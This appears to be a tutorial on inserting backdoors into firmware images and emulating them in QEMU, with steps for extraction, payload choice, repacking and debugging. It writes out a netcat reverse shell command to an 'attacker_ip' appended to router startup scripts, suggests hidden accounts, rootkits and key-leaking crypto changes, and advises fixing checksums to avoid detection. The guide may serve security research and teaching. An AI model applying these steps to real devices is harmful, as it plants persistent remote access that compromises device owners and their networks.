Backdooring firmware

Backdooring firmware involves modifying the original firmware code to insert malicious functionality while maintaining its operational integrity. This is often done for research, penetration testing, or malicious intent. Below are the steps for backdooring firmware and running it in QEMU:

Backdooring Firmware Code

1. Extract and Analyze the Firmware

• Extract the firmware:
  • Use tools like binwalk or firmware-mod-kit to extract the firmware’s filesystem or binary contents: binwalk -e firmware.bin
• Analyze the firmware:
  • Identify the target executable, libraries, or scripts.
  • Use tools like:
    • strings: To find readable text.
    • objdump: To disassemble binary files.
    • Ghidra or IDA Pro: For reverse engineering.

2. Identify a Backdooring Entry Point

• Potential entry points:
  • Initialization scripts (e.g., /etc/init.d/).
  • Binary executables (e.g., main firmware code).
  • Configuration files.
• Choose a payload:
  • Simple examples:
    • Open a reverse shell.
    • Add a hidden user account.
    • Inject malicious code into existing binaries.
  • Advanced examples:
    • Modify cryptographic routines to leak keys.
    • Embed a persistent rootkit.

3. Modify the Firmware

• For script-based firmware:
  • Modify startup scripts (e.g., /etc/rc.local): echo "nc -e /bin/sh attacker_ip 1234" >> /etc/rc.local
• For binary-based firmware:
  • Inject malicious code into a binary:
    • Decompile the binary using Ghidra, Radare2, or IDA Pro.
    • Inject payload (e.g., shellcode) into unused sections of the binary.
    • Recompile and test.
• Ensure integrity:
  • Recalculate checksums or cryptographic signatures to prevent detection.

4. Repack the Firmware

• Rebuild the filesystem:
  • If the firmware uses a known filesystem (e.g., SquashFS, CramFS), repack it: mksquashfs extracted_files/ firmware_backdoored.bin
• Ensure compatibility:
  • Match the original format and size constraints.

Running Backdoored Firmware in QEMU

1. Set Up QEMU

• Install QEMU: sudo apt-get install qemu-system qemu-user-static
• Identify the firmware architecture:
  • Use file to check the architecture: file firmware_backdoored.bin
  • Example architectures: ARM, MIPS, x86, etc.

2. Configure QEMU

• For standalone binaries: qemu-system-ARCH -kernel firmware_backdoored.bin -nographic
• For full firmware images:
  • Identify the bootloader and kernel.
  • Run the firmware with the matching QEMU machine type.

3. Emulate Firmware Filesystem

• If the firmware contains a filesystem:
  • Extract it using binwalk.
  • Use QEMU’s user-mode emulation: qemu-arm-static ./extracted_files/bin/backdoored_binary
• Or, use chroot: sudo chroot ./extracted_files /bin/bash

4. Debug and Monitor

• Attach GDB for debugging: qemu-system-ARCH -kernel firmware_backdoored.bin -gdb tcp::1234 -S gdb-multiarch target remote :1234
• Monitor network traffic:
  • Use tools like tcpdump or Wireshark to analyze backdoor communication.

Example: Backdoor a Router Firmware

1. Extract: Use binwalk to extract the firmware.
2. Modify: Add a reverse shell to /etc/init.d/rc.local: echo "nc -e /bin/sh attacker_ip 1234" >> /etc/init.d/rc.local
3. Repack: Use mksquashfs to repack the filesystem.
4. Run:
   • Identify architecture (e.g., MIPS).
   • Execute in QEMU: qemu-system-mips -kernel firmware_backdoored.bin -nographic